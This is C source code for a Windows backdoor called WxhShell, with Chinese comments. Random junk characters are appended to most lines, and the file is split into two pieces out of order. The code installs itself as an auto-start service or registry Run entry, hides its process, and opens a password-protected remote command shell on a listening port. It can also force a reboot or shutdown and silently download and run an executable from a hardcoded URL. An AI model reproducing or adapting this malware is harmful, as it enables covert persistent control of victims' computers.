    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gH_r'j  
    else { +-.BF"}  
    closesocket(wsh); 1%-?e``.  
    ExitThread(0); MiSFT5$v6  
    } Ab(bvS8r$  
    break; Cog:6Gnw  
    } EI_J7J+  
  // 获取shell IsRsjhg8x  
  case 's': { @ym7hk.  
    CmdShell(wsh); Yb?#vpI  
    closesocket(wsh); o&CvjE  
    ExitThread(0); Uc6U!X  
    break; R/b=!<  
  } 2#E;5UYu  
  // 退出 +QHhAA$  
  case 'x': { st+Kz uK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BryMq !  
    CloseIt(wsh); ZR#UoYjupb  
    break; >yWJk9h f  
    } 9Q.j <  
  // 离开 zc2,Mn2  
  case 'q': { yqBu7E$X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I 9u=RI s  
    closesocket(wsh); Jz|(B_U  
    WSACleanup(); xv%}xeE V  
    exit(1); RV($G8U  
    break; k[zf`x^  
        } ?.Kl/8ml  
  } >eEf|tKO  
  } FCP5EN  
H~$|y9>qI  
  // 提示信息 #`W8-w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XG [%oL  
} -#i%4[v  
  } 3{_+dE"9  
G6J3F  
  return; ILVbbC`D  
} X:e'@]Z)?  
2xnOWW   
// shell模块句柄 *FAg^G&1  
int CmdShell(SOCKET sock) Bo0y"W[+  
{ l%U9g  
STARTUPINFO si; qMUqd}=P  
ZeroMemory(&si,sizeof(si)); w%ip"GT,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r;'!qwr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s=d?}.E$  
PROCESS_INFORMATION ProcessInfo; j=gbUXv/  
char cmdline[]="cmd"; EP8LJzd"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J\{)qJ*jp  
  return 0; $_ NaxV  
} D{4 Y:O&J  
>Y,7>ahyt  
// 自身启动模式 *PI3L/*  
int StartFromService(void) ^Uf`w7"iY  
{ O7K))w  
typedef struct vd ;wQ  
{ Wu}Co  
  DWORD ExitStatus; ._R82 gy  
  DWORD PebBaseAddress; "d#s|_n,d)  
  DWORD AffinityMask; #zQkQvAT9  
  DWORD BasePriority; rvG qUmSUs  
  ULONG UniqueProcessId; cK258mY  
  ULONG InheritedFromUniqueProcessId; $wN.~"T  
}   PROCESS_BASIC_INFORMATION; )N=wJN1  
YM;^c% _7  
PROCNTQSIP NtQueryInformationProcess; Oh^X^*I$@  
8%NX)hZyq}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cshUxabB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; td m{ V st  
1dq.UW\  
  HANDLE             hProcess; Rsulp#['  
  PROCESS_BASIC_INFORMATION pbi; *H$nydQ:  
W`\H3?C`xQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~\/ J&  
  if(NULL == hInst ) return 0; m0edkt-x  
C VUDN2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A1@-;/H3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Rvxjy)[N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kzm_AHA)  
2ReulL8j  
  if (!NtQueryInformationProcess) return 0; d}G?iX;c}  
z~BB|-kp1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j NY8)w_  
  if(!hProcess) return 0; ]@f6O *&=  
i" )_M|   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l?~ci ;lG  
[0}471  
  CloseHandle(hProcess); 5>=tNbk"s  
eS"gHldz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Brl6r8LGi  
if(hProcess==NULL) return 0; EvYw$ j  
<Kh\i'8  
HMODULE hMod; ZJ 4"QsF  
char procName[255]; A/QVotcU  
unsigned long cbNeeded; Dux`BKl  
G^R;~J*TDE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y}Dp{  
DYl^6 ]  
  CloseHandle(hProcess); oY] VP+b!  
7Y)wu$!7}  
if(strstr(procName,"services")) return 1; // 以服务启动 ,VZ&Gc  
kgIWgk%  
  return 0; // 注册表启动 ^DH*@M  
} 9,Mp/.T"\  
k@~-|\ooG  
// 主模块 B -KOf  
int StartWxhshell(LPSTR lpCmdLine)  -{wuF0f  
{ 79V5{2Y*U  
  SOCKET wsl; bDkE*4SRX  
BOOL val=TRUE; 8N`$7^^  
  int port=0; *"5a5.`%,  
  struct sockaddr_in door; `%Ghtm*  
y"hM6JI  
  if(wscfg.ws_autoins) Install(); MT5A%|He  
I%&9`ceWY  
port=atoi(lpCmdLine); xo%iL  
PHXP1)^}S  
if(port<=0) port=wscfg.ws_port; t2:c@)  
<d^7B9O?&w  
  WSADATA data; <8bO1t^*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ /[Cgh0  
CvW((<?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +wSm6*j7=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iF0a  
  door.sin_family = AF_INET; K8 Y/XEK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5 QeGx3'  
  door.sin_port = htons(port); oD7H6\_  
oL@ou{iQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -7$'* V9$  
closesocket(wsl); {q)B@#p  
return 1; JXAyF6 $  
} zJ:r0Bt  
&>jkfG  
  if(listen(wsl,2) == INVALID_SOCKET) { OT[m g4&  
closesocket(wsl); .g#=~{A  
return 1; {Y"r]:5i  
} -FR;:  
  Wxhshell(wsl); VB\6S G  
  WSACleanup(); 9c^EoYpy-  
"{k )nr+7U  
return 0; $iPN5@F  
J){\h-4  
} `Y;gMrp  
@e,Zmx  
// 以NT服务方式启动 O}-7 V5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {|h"/   
{ Qzhnob#C9  
DWORD   status = 0; -X[[ OR9+  
  DWORD   specificError = 0xfffffff; \?^wu  
PQ]9xzOg[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AL7O-D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O-5U|wA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LPn }QzH  
  serviceStatus.dwWin32ExitCode     = 0; #<PdZl R  
  serviceStatus.dwServiceSpecificExitCode = 0; 5Nb_K`Vp*  
  serviceStatus.dwCheckPoint       = 0; ehusI-q  
  serviceStatus.dwWaitHint       = 0; 5)7mjyo%  
/vDF<HVzm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S7/v ,E  
  if (hServiceStatusHandle==0) return; \,!q[nC  
f ti|3c  
status = GetLastError(); 1^#Q/J,  
  if (status!=NO_ERROR) t"p#ii a  
{ )JQQ4D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F\R}no5C  
    serviceStatus.dwCheckPoint       = 0; cOZ^huK  
    serviceStatus.dwWaitHint       = 0; }hitU(5t0  
    serviceStatus.dwWin32ExitCode     = status; kA;Tr4EA6  
    serviceStatus.dwServiceSpecificExitCode = specificError; T:">,* |  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iq]6]  
    return; !O6Is'%B  
  } ls\E%d  
6a7iLQA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {l&2Kd*  
  serviceStatus.dwCheckPoint       = 0; %QgAilj,  
  serviceStatus.dwWaitHint       = 0; 2P_^@g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $F7gH  
} ~&lJT  
Wky STc  
// 处理NT服务事件,比如:启动、停止 %`'z^W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )xx/di  
{ 50aWFJYw  
switch(fdwControl) &jZ|@K?  
{ Q3%# o+R>  
case SERVICE_CONTROL_STOP: h;p%EZ  
  serviceStatus.dwWin32ExitCode = 0; |K;Txe_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (OcNC/9  
  serviceStatus.dwCheckPoint   = 0; DIp:S&q2  
  serviceStatus.dwWaitHint     = 0; )UZ0gfx  
  { y6Epi|8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P&3/nL$9N  
  } ' xZPIj+  
  return; 6a?$=y  
case SERVICE_CONTROL_PAUSE: H L|s pl(c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AJ` v  
  break; UX'NJ1f  
case SERVICE_CONTROL_CONTINUE: u%1k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fk7Cf"[w  
  break; !8@rK$DB  
case SERVICE_CONTROL_INTERROGATE: <S8W~ wC  
  break; nuO3UD3  
}; E'^]zW=9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BZ;}ROmqk  
} -V u/TT0  
aMvK8C%7  
// 标准应用程序主函数 mOgOHb2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4%fN\f  
{ q= yZx)  
(}FW])y  
// 获取操作系统版本 : \:~y9X0  
OsIsNt=GetOsVer(); N+s?ZE*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cl9SPz  
P~\a)Szy  
  // 从命令行安装 up &NCX  
  if(strpbrk(lpCmdLine,"iI")) Install(); c+8>EU AW  
6MQs \J6.  
  // 下载执行文件 [W9e>Nsp0  
if(wscfg.ws_downexe) { \ W 'i0+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GJC!0{8;  
  WinExec(wscfg.ws_filenam,SW_HIDE); '&-5CpDUs  
} 29a_ZU7e6  
_K0izKTA.  
if(!OsIsNt) { ]27>a"p59Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 vo(g0Au)  
HideProc(); U|Bsa(?nx  
StartWxhshell(lpCmdLine); 0'yG1qG  
} G2CZwm{/f  
else A6^p}_  
  if(StartFromService()) 'v\1:zi  
  // 以服务方式启动 y+4?U  
  StartServiceCtrlDispatcher(DispatchTable); i?GfY C2q  
else mL:m;>JJ n  
  // 普通方式启动 MAE7A"l a  
  StartWxhshell(lpCmdLine); Io$w|~x  
r6d0x  
return 0; 3>-[B`dD(  
} ydwK!j0y  
T} n N=Q4  
,|T*|2Gm  
n-b>m7O(  
=========================================== N]1V1c$G*  
wGEWr2$  
RLdl z  
H$z>OS_6U  
DMF?5GX  
:3f-9aRC!  
" E2^ KK:4s  
f{)+-8  
#include <stdio.h> )Rjb/3*!  
#include <string.h> cC^W2\  
#include <windows.h> l6iw=b[?  
#include <winsock2.h> J.1O/Pw!.a  
#include <winsvc.h> <+V-k|  
#include <urlmon.h> }x*7l`1  
OENzG~  
#pragma comment (lib, "Ws2_32.lib") p86~~rvq[  
#pragma comment (lib, "urlmon.lib") AXz-4,=xX  
aXMv(e+  
#define MAX_USER   100 // 最大客户端连接数 T>d\%*Q+B  
#define BUF_SOCK   200 // sock buffer 5\okU"{d7  
#define KEY_BUFF   255 // 输入 buffer DhZ:#mM{  
+wipfL~&S  
#define REBOOT     0   // 重启 xpF](>LC(  
#define SHUTDOWN   1   // 关机 <>%,}j 9  
X4a^m w\"  
#define DEF_PORT   5000 // 监听端口 }i(qt&U;  
5?Bc Y ;  
#define REG_LEN     16   // 注册表键长度 2z4<N2! M  
#define SVC_LEN     80   // NT服务名长度 _}D%iJg#  
KE<kj$  
// 从dll定义API d^PD#&"g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :4|M jn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S@x}QQ|.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m# JI!_~!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g6WPPpqus  
X2qv^G,  
// wxhshell配置信息 HN{zT&  
struct WSCFG { QIQfI05  
  int ws_port;         // 监听端口 sI'a1$  
  char ws_passstr[REG_LEN]; // 口令 D}-o+6TI?  
  int ws_autoins;       // 安装标记, 1=yes 0=no %;7.9%  
  char ws_regname[REG_LEN]; // 注册表键名 z 5'ZN+  
  char ws_svcname[REG_LEN]; // 服务名 X/l;s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o+NMA (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mb&lCd ^-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wqUQ"d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >)Ioo$B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o]<jZ_|gB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vYdR ht\(  
PY?8 [A+  
}; 3)3Hck  
KF+mZB  
// default Wxhshell configuration ld.7`)  
struct WSCFG wscfg={DEF_PORT, joqWh!kv7U  
    "xuhuanlingzhe", uMvb-8  
    1, g5i#YW  
    "Wxhshell", []zua14F6  
    "Wxhshell", 8'_ 0g[s  
            "WxhShell Service", 6gnbkpYi  
    "Wrsky Windows CmdShell Service", &f-hG3/M  
    "Please Input Your Password: ", ND5$bq Nu?  
  1, \@K~L4>  
  "http://www.wrsky.com/wxhshell.exe", gw^'{b  
  "Wxhshell.exe" T?n -x?e  
    }; WWNu:,  
kx:jI^  
// 消息定义模块 ?R|th Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W m . }Zh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }x:0os  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -p`L% xj\  
char *msg_ws_ext="\n\rExit."; A?8\Y{FQ  
char *msg_ws_end="\n\rQuit."; *t(4 $  
char *msg_ws_boot="\n\rReboot..."; wO7t!35  
char *msg_ws_poff="\n\rShutdown..."; 4/'N|c.  
char *msg_ws_down="\n\rSave to "; XV>@B $hu  
Pz%~ST  
char *msg_ws_err="\n\rErr!"; &+01+-1hW  
char *msg_ws_ok="\n\rOK!"; h d2'AlB  
yzR=A%V8A  
char ExeFile[MAX_PATH]; id?"PD"%  
int nUser = 0; *)'Vvu<  
HANDLE handles[MAX_USER]; [k$efwJ  
int OsIsNt; oZN'H T  
?'eq",c#4N  
SERVICE_STATUS       serviceStatus; xr[Vp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s9O2k}]  
>zs5s  
// 函数声明 jAC78n,Fi@  
int Install(void); d]SYP  
int Uninstall(void); F}36IM9/:  
int DownloadFile(char *sURL, SOCKET wsh); o5!f#Y  
int Boot(int flag); h i|!  
void HideProc(void); c7K!cfO:{N  
int GetOsVer(void); E"qFXA>  
int Wxhshell(SOCKET wsl); ;JT(3yK4>p  
void TalkWithClient(void *cs); 7&U&E|  
int CmdShell(SOCKET sock); 6S1m<aH6  
int StartFromService(void); _Zc4=c,K  
int StartWxhshell(LPSTR lpCmdLine); O,s.D,S  
P|xG\3@Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O)]v;9oER  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xgat-cy'DA  
[&#/|zH'j:  
// 数据结构和表定义 =sgdkAYwP  
SERVICE_TABLE_ENTRY DispatchTable[] = 2'|8Q\,:4Z  
{ QA?oJ_}y  
{wscfg.ws_svcname, NTServiceMain}, fDh] tua  
{NULL, NULL} .tnkT;T  
}; ;a r><w  
%w ) +V  
// 自我安装 O=}g 4c  
int Install(void) XRtD< jlA"  
{ -Q"hZ9  
  char svExeFile[MAX_PATH]; j}f[W [2  
  HKEY key; HC*?DJ,  
  strcpy(svExeFile,ExeFile); RLVAT M5  
lG:kAtx4  
// 如果是win9x系统,修改注册表设为自启动 eSfnB_@x2  
if(!OsIsNt) { Y@uh[aS!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )C~9E 5E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q@S-f:!  
  RegCloseKey(key); $IX\O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O )d[8jw"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @S^ASDuQU7  
  RegCloseKey(key); {ci.V*:"  
  return 0; `@Oa lg  
    } +ulagE|7  
  } /7"I#U^u/  
} F<|t\KOW  
else { 7DD&~ZcD  
*O~e T  
// 如果是NT以上系统,安装为系统服务 -ijC_`>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vB0RKk}d5  
if (schSCManager!=0) L]%l51U  
{ kmPYx)o  
  SC_HANDLE schService = CreateService BuOgOYh9  
  ( Fhf<T`  
  schSCManager, EGVM)ur  
  wscfg.ws_svcname, mtAE  
  wscfg.ws_svcdisp, ?C-Towo=i  
  SERVICE_ALL_ACCESS, 78 f$6J q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kz} R[7  
  SERVICE_AUTO_START, U7h(`b  
  SERVICE_ERROR_NORMAL, V3Z]DA  
  svExeFile, ino:N5&;;  
  NULL, L%"LlS g  
  NULL, L gk   
  NULL, +]Zva:$#`  
  NULL, ]=pR  
  NULL /YAJbr  
  ); saf&dd  
  if (schService!=0) 2,q}N q  
  { \3f& 7wU  
  CloseServiceHandle(schService); ]`g@UtD9`  
  CloseServiceHandle(schSCManager); &ANP`=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )kXhtjOl|  
  strcat(svExeFile,wscfg.ws_svcname);  as yZe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {i0SS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]:M0Kj&h  
  RegCloseKey(key); : rMM4  
  return 0; MRNNG6TUs  
    } ED>prE0  
  } tJViA`@x  
  CloseServiceHandle(schSCManager); i:]*P  
} /AY4M;}p  
} F,BOgWwP  
'xY@x-o  
return 1; !E8X~DJ  
} }@ Z56  
a' Ki;]q  
// 自我卸载 }je,")#W  
int Uninstall(void) S-Y=-"  
{ f5AjJYq1  
  HKEY key;  ^zzP.   
%ts^Z*3u  
if(!OsIsNt) { 2Y\ d<.M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {9Y+.46S  
  RegDeleteValue(key,wscfg.ws_regname); ?'86d_8  
  RegCloseKey(key); 3<?   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #'D" 'B  
  RegDeleteValue(key,wscfg.ws_regname); eV:9y  
  RegCloseKey(key); C?v[Z]t  
  return 0; ZYU=\  
  } `*", <  
} 6tHO!`}1  
} 0R{dNyh{  
else { u0aJu  
lO&3{dOYE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]D[DU]K  
if (schSCManager!=0) $vC1 K5sLk  
{ QO;N9ZI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zJP6F.Ov!  
  if (schService!=0) @k[R/,#'[t  
  { F <>!kK/c  
  if(DeleteService(schService)!=0) { B~o\+n  
  CloseServiceHandle(schService); wW>zgTG  
  CloseServiceHandle(schSCManager); xh7cVE[UM  
  return 0;  ]#7zk9  
  } JD@J[YY5R  
  CloseServiceHandle(schService); eSWL rryY  
  } -F'b8:m  
  CloseServiceHandle(schSCManager); mxb(<9O  
} JJ;[,  
} * #jsgj[  
| N0Z-|  
return 1; q0f3="  
} ^O^l(e!3  
lY|Jr{+Ln  
// 从指定url下载文件 U2uF&6v  
int DownloadFile(char *sURL, SOCKET wsh) @-UL`+  
{ .>Ljnk  
  HRESULT hr; DXz} YIEC  
char seps[]= "/"; H*#s }9=kZ  
char *token; fRg`UI4w}  
char *file; I%- " |]$  
char myURL[MAX_PATH]; t]7&\ihZi~  
char myFILE[MAX_PATH]; 4`JH&))}  
iw*Nq,(  
strcpy(myURL,sURL); afYc\-"  
  token=strtok(myURL,seps); /|xra8?H[  
  while(token!=NULL) J7r|atSk  
  { fS~;>n%R  
    file=token; oc8:r  
  token=strtok(NULL,seps); =Umw$+fJr  
  } ^i:`ZfA#  
(aD_zG=k5  
GetCurrentDirectory(MAX_PATH,myFILE); 5:'hj$~|\1  
strcat(myFILE, "\\"); B}PIRk@a1  
strcat(myFILE, file); 8\{^|y9-  
  send(wsh,myFILE,strlen(myFILE),0); X]P:CY  
send(wsh,"...",3,0); C@th O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z dO#0t N  
  if(hr==S_OK) PRz/inru-  
return 0; _YcA+3ZL  
else f=)2f =  
return 1; (SKVuR%Jj  
aN"DkUYZM  
} /yM:| `tT  
m1Y >Nj[f  
// 系统电源模块 a4irokJv#  
int Boot(int flag) R {-5Etv  
{ {&"N%;`Q  
  HANDLE hToken; kF/9-[]$g,  
  TOKEN_PRIVILEGES tkp; rETRTp0HT  
cJ54s}  
  if(OsIsNt) { oWYmj=D~2z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a'z)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +nJUFc  
    tkp.PrivilegeCount = 1; lo[.&GD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; foQ#a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6`f2-f9%iq  
if(flag==REBOOT) { AhZ8 0!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N!g9*Z  
  return 0; tKpmm`2  
} 9<KAXr#  
else { 1Tu *79A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .'Vww  
  return 0; 8']9$#  
} s8}@=]aA  
  } #5V9o KM  
  else { I'|$}/\`  
if(flag==REBOOT) { g]*#%Xa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) By%=W5  
  return 0; 3-&QRR#p  
} [7[0^ad  
else { LqA@&H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ztw@Y|<2  
  return 0; =Q.^c.sw  
} u9N 1pZ~  
} >Z1sb  n  
xD6@Qk  
return 1; Rz.?i+  
} () j =5KDu  
)kP5u`v  
// win9x进程隐藏模块 '_V2!?+RU+  
void HideProc(void) t^w"w`v\u  
{ p\bDY  
~$~5qwl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p\<u6v ~J  
  if ( hKernel != NULL ) SLh(9%S;  
  { /kfgx{jZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ['T:ea6B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;aw=MV  
    FreeLibrary(hKernel); _'(,  
  } uuQ(&  
o93`|yWl  
return; 3\B>lKhQ  
} 2RX!V@z.G  
sQ fFu  
// 获取操作系统版本 7k rUKYVo  
int GetOsVer(void) }5hqD BK?  
{ (2=Zm@Zp f  
  OSVERSIONINFO winfo; kO}AxeQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .,OVzW  
  GetVersionEx(&winfo); sD=n95`v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ( vca&wI!  
  return 1; 9T1ZL5  
  else u,UmrR  
  return 0; |]c8jG\h  
} DK$s&zf  
$f zaPD4.  
// 客户端句柄模块 f\jLqZY  
int Wxhshell(SOCKET wsl) G%s 2P.cd  
{ Iu <?&9t  
  SOCKET wsh; F F|FU<  
  struct sockaddr_in client; Pqn@ST  
  DWORD myID; (_"*NY0  
T7#W0^tj  
  while(nUser<MAX_USER) 07[_.i.l  
{ o}$ EG  
  int nSize=sizeof(client); 2* 2wY=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }yz (xH  
  if(wsh==INVALID_SOCKET) return 1; Jl&-,Vjb  
%oO4|JkJX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7:2WgL o  
if(handles[nUser]==0) F~P%AjAx'  
  closesocket(wsh); fP. 6HF_p_  
else zR{W?_cV  
  nUser++; xLC3>>P  
  } 6E^.7%3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |fHV2Y`:g  
;NHt7p8SE  
  return 0; RR]CW  
} tfGHea)M  
!s&NT @ S  
// 关闭 socket yI"6Da6|y  
void CloseIt(SOCKET wsh) 1#ft#-g}  
{ @9lUSk^9  
closesocket(wsh); P9vA7[  
nUser--; /%;mqrdk  
ExitThread(0); SF>c\eTtx  
} c5u@pvSP  
i~{Ufi  
// 客户端请求句柄 Ac<Phy-J  
void TalkWithClient(void *cs) LL3#5AA"k|  
{ "*Tb" 'O  
v uoQz\  
  SOCKET wsh=(SOCKET)cs; {\:{[{qF  
  char pwd[SVC_LEN]; D>LZP!  
  char cmd[KEY_BUFF]; HxIIO[h  
char chr[1]; Mw;sLsu  
int i,j; U4b0*`o  
%|^fi8!:|  
  while (nUser < MAX_USER) { l p(8E6  
LyAn&h}  
if(wscfg.ws_passstr) { /!3@]xz*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z\k&gio5C^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lx[oaCr  
  //ZeroMemory(pwd,KEY_BUFF); 9R7 A8  
      i=0; j 4^97  
  while(i<SVC_LEN) { *tK\R&4,4s  
OHhsP}/  
  // 设置超时 T Kg aV;92  
  fd_set FdRead; $7rq3y  
  struct timeval TimeOut; ]hFW 73FV  
  FD_ZERO(&FdRead); ' <@3i[M  
  FD_SET(wsh,&FdRead); tF{D= ;G  
  TimeOut.tv_sec=8; YJJB.hR+  
  TimeOut.tv_usec=0; a-|*?{o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); % a@>_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gk0(ANx  
x7eQ2h6O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cT!\{ ~  
  pwd=chr[0]; -UOj>{-  
  if(chr[0]==0xd || chr[0]==0xa) { 4UW_Do  
  pwd=0; q)^Jj ?W  
  break; A m>cd;  
  } Fd[zDz  
  i++; jhb6T ?}  
    } 3%(N[&LU  
id2j7|$,  
  // 如果是非法用户,关闭 socket F7O(Cy"1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =9fajRFTt  
} f (F)1  
".<DAs j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aPm`^ q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,v';>.]  
$**r(HV  
while(1) { Ljx(\Cm  
d ysC4DS  
  ZeroMemory(cmd,KEY_BUFF); 'U\<IL#U  
&QGdLXOn  
      // 自动支持客户端 telnet标准   b"vv>Q~U  
  j=0; V;:jZpG  
  while(j<KEY_BUFF) { i03w 1pSH,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'gTbA?+@5  
  cmd[j]=chr[0]; RF%KA[Dj  
  if(chr[0]==0xa || chr[0]==0xd) { +/)#( j@  
  cmd[j]=0; S|]X'f  
  break; b-{=s +:  
  } (4dhuT  
  j++; TwVlg ;  
    } \<y#R~7s  
?MgUY)X  
  // 下载文件 \\u<S=G  
  if(strstr(cmd,"http://")) { S&b*rA02zp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VBcy9|lD  
  if(DownloadFile(cmd,wsh)) :"xzj<(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bqnNLs<N  
  else "hzB9*"t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /#VhkC _  
  } -8j+s}Q  
  else { 32/MkuY^u  
DW_1,:,?7l  
    switch(cmd[0]) { }L#_\  
  r0,:J   
  // 帮助 F pa_qjL;  
  case '?': { :F{:Z*Fi0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;I}kQ!q  
    break; &' Ne! o8  
